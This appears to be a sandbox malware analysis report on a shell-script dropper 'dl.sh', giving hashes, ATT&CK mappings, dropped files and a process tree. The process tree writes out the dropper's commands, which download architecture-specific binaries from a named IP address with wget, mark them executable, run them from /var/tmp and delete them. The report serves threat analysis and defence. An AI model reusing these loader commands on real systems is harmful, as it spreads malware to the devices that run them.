80c037e588151489795c5b5f6d17e20a07b9fa49295effc521ec331116854079

Analysis

max time kernel
12s
max time network
14s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/09/2026, 18:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 967B
Sample260930-w3prbseh69
SHA256 80c037e588151489795c5b5f6d17e20a07b9fa49295effc521ec331116854079
MD5 97d5f5d32b2e93afd4fd537990df15c5
SHA1 e242eacf071f86c3f2b8e2bd144cb764862cf6b8
SHA512 13bac270e2d3cf8bb46c7de2c3eb5a3e766cd8783ac17ca4c3d14e76c25297f5d1d693285588fe3879363bd899af5beb19c2fdfd1bb31170966bd83dde8ffc60
TLSH
T18C1157F1FC7180A5768C843AA69B01D676C26C7F50897E0A342FD8A66B5C298F09D273
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
765	chmod
793	chmod
745	chmod
750	chmod
755	chmod
770	chmod
781	chmod
804	chmod
708	chmod
729	chmod
739	chmod
760	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/var/tmp/.xt	711	dl.sh
/var/tmp/w	731	dl.sh
/var/tmp/w	741	dl.sh
/var/tmp/w	746	dl.sh
/var/tmp/w	751	dl.sh
/var/tmp/w	756	dl.sh
/var/tmp/w	761	dl.sh
/var/tmp/w	766	dl.sh
/var/tmp/w	771	dl.sh
/var/tmp/w	782	dl.sh
/var/tmp/w	794	dl.sh
/var/tmp/w	806	dl.sh

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-7.dat	upx
behavioral4/files/fstream-9.dat	upx

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	w

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
718	wget
734	wget
754	wget
787	wget

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
PID:703
- /bin/uname
  uname -m
  2⤵
  PID:705
- /bin/chmod
  chmod +x .xt
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /var/tmp/.xt
  ./.xt
  2⤵
  PID:711
- /bin/rm
  rm -f .xt
  2⤵
  PID:714
- /bin/rm
  rm -f w
  2⤵
  PID:717
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips
  2⤵
  - System Network Configuration Discovery
  PID:718
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /var/tmp/w
  ./w
  2⤵
  PID:731
- /bin/rm
  rm -f w
  2⤵
  PID:733
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /var/tmp/w
  ./w
  2⤵
  PID:741
- /bin/rm
  rm -f w
  2⤵
  PID:743
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.x86_64
  2⤵
  PID:744
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /var/tmp/w
  ./w
  2⤵
  PID:746
- /bin/rm
  rm -f w
  2⤵
  PID:748
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.aarch64
  2⤵
  PID:749
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /var/tmp/w
  ./w
  2⤵
  PID:751
- /bin/rm
  rm -f w
  2⤵
  PID:753
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips64
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /var/tmp/w
  ./w
  2⤵
  PID:756
- /bin/rm
  rm -f w
  2⤵
  PID:758
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm7
  2⤵
  PID:759
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /var/tmp/w
  ./w
  2⤵
  PID:761
- /bin/rm
  rm -f w
  2⤵
  PID:763
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm6
  2⤵
  PID:764
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /var/tmp/w
  ./w
  2⤵
  PID:766
- /bin/rm
  rm -f w
  2⤵
  PID:768
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm5
  2⤵
  PID:769
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /var/tmp/w
  ./w
  2⤵
  PID:771
- /bin/rm
  rm -f w
  2⤵
  PID:773
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm4
  2⤵
  PID:774
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /var/tmp/w
  ./w
  2⤵
  PID:782
- /bin/rm
  rm -f w
  2⤵
  PID:785
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips
  2⤵
  - System Network Configuration Discovery
  PID:787
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /var/tmp/w
  ./w
  2⤵
  PID:794
- /bin/rm
  rm -f w
  2⤵
  PID:797
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mpsl
  2⤵
  PID:799
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /var/tmp/w
  ./w
  2⤵
  - Reads runtime system information
  PID:806

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.xt

Path /var/tmp/.xt
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

.xt

Path /var/tmp/.xt
Size 17B
SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
MD5 33e4fd94e2560e008e2c3b431d0e3419
SHA1 504519c842b7202250315ef562069e4ce10da99c
SHA512 69f097faa9ccb981e78c3a914ad68a51771637d9aecd2dbc807003ac30663e6d921091a48ff529dfff27a6cd55b0808f91683118acf7acdf406d37266e622b17
MD5 SHA1 SHA512

Submit Download

Path /var/tmp/w
Size 84KB
SHA256 e9bf65aa18c9e98693dc2f08984d918b43b2589a4d799ed1abbc5ebb8dcb3a83
MD5 d068149053a79ccfeeedda135feb038f
SHA1 df1c29d9341d05e3b6d96d4e051dc94bfbf33756
SHA512 c09f74595bf4c97948d3e3072717f4b5544b3676bf9e6f7c38217b9ff380b2bb989c9a276a56edf5e20210e3d01bc6812f3efc15dc98aecd25fdb3605f007ae5
SSDEEP 1536:Tnago5MFbHcw/SuAeRc6ja1j8RuXS2q809YX1Xyf2+bMosLmSiqzBOVEWWmeo:uMFQwRu58RuO9YX1C+9ostRzBOVExw
TLSH
T1948312765682CCBCC378297C109706AC7BF20DBFA157FB246747AA67CC8A115949E3C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 77KB
SHA256 c74431bc2226f14650109f67068793b543ff47e9dfac808e9caf8d2ceae02fd2
MD5 ba7c90875cf3b55db2720aa0c8baa269
SHA1 396745ad2c878112cde8eb41ed2bd294ee6c1a74
SHA512 00d252e544c22f7646d0623a3a504b0ded47dba287daaf0f788a9e9639e5723dfdcc30857fbcc6956d93e287bf21973b93677c59cd63befd9af01f86570ec975
SSDEEP 1536:Adqw8wWPhsqhPE7FNoeNpssfDvx4zpb7davX2NybQDMocRCWC4mUpKq:QqwcPhnGoenDQpb7dy2O8U0q
TLSH
T1857302A2414DE9FCCA137630728E76E5D333A946C64E434B96CE51BA8CF4EAC6C3065D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 83KB
SHA256 5a814a5d21b1542bf779f35248f3ba74b72791aa11a5103b1a607e687aa23087
MD5 dc7d3b9428ed4e72dd0d5745a70c2156
SHA1 f6151c9949afcbcbe9573a6bfa4b926cb0188a80
SHA512 9a037693c2116172834c94bd60331207eedd89bfb9c01a3220786176e47de076681111df973d80b1a9b15ee2d055861646c7ff0afd8cdc9c91e91b822f00b53c
SSDEEP 1536:XOCB/oiYMO46ItYgp7QYSBjRMjRwYI1Taf5TcEgUfK/MJnNiI3eXyaeieSOQp:XOCKMrtXSBdMjRwR8BbfK/egIO5Vh
TLSH
T11C8302E63F85A615C9C4C379E2570E733D4BF93D28A7D6ED58608DA80E94408B7C171B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 270KB
SHA256 84c671aea0e7e86de373ca04db98a5e17088a05a678c2567d61cf7c22157c209
MD5 cba2a2d7e135193661b86469fc8ecf71
SHA1 0f1704c2368b2f7846763ae6b9bd1c774937a182
SHA512 21daaf53e7ae1c3cdb2fc68713b93d5efc078d6cc2e1395edb5881db49751dd6579435da4179541d8c06126868b1d04790e03739c13748523f1022d1d8f80aa5
SSDEEP 3072:wM94kXnOyvPsZIjB3h/WIdekflTZ+eVtQfJ5yELqWTqrfSrvFmLZcupMXeaM+w1c:b9FOlZIL/WIow2sh1y9mgXeewjUsx0n
TLSH
T113446DD17386AAB3CE6952305EF3C3386BF839121663C65BE33A172C0D665A5791CEC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/tmp/w
Size 86KB
SHA256 372695b62aab83bc1fef7fbccc2eea75841e623226def0fda3d0e33053ee2bb5
MD5 64afa3b86d4c8879e64e30b5cb6d3251
SHA1 2979b5118aa1038b78c6b7c4b350161c973e891f
SHA512 b619cc71892b2ef5533426cec3c19fa99caf7b3ade96bada30179d105180a28ebdd2c41e11b11b34aa9667f4be483fed08842ea4b0118517d2635b294bf059c9
SSDEEP 1536:lwRu6+4ZFEV2TE8gX6+gCxeLCMRUOa22DFqGOTf3sLy+mNEpeF:lwRu61Tzq6KFA8Tko12q8
TLSH
T1018312B6895E7E95CFFD603512A99320370063FEE2F2A6CD0F640D03552F58A3B8D584
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads